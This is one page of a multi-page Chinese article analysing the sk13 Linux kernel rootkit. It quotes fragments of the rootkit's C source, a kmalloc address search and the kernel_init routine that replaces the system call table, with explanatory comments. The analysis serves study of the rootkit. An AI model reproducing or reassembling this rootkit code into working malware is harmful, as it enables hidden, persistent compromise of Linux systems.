Linux后门系列--由浅入深sk13完全分析
|
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04
|
|
continue; } for (i = 0; i < ccount; i++) { if ((kcalls[i].addr == call) && (kcalls[i].gfp == gfp)) { kcalls[i].count++; goto outta; } } if (ccount >= KCALL) goto endsrch; kcalls[ccount].addr = call; kcalls[ccount].gfp = gfp; kcalls[ccount++].count = 1; outta: } } endsrch: if (!ccount) return 0; c = 0; for (i = 0; i < ccount; i++) { if (hint) { if (kcalls[i].addr == hint) { c = i; break; } } else { if (kcalls[i].count > kcalls[c].count) c = i; } } *rgfp = kcalls[c].gfp; return kcalls[c].addr; #undef KCALL #undef KSIZE #undef BUFSZ #undef MAXGFP #undef MAXSIZE }
kernel.c/kernel_init()函数 kernel.c的入口语句是:KINIT(mem, sct, sctp, oldsys); /* initialization code (see install.c for details) */ void kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys) {
/* ksize 为sk本身的大小 ,newsct指向刚才用kmalloc分配的内存区域 */
ulong ksize = (ulong) kernel_end - (ulong) kernel_start; ulong *newsct = (void *) mem;
/* 将oldsys 保存到原来的地址处,oldsys 保存的是oldolduname系统调用的地址 */
sct[OURSYS] = oldsys;
/* 请看内存示意图
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] 8 [9] [10] [11] 下一页
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|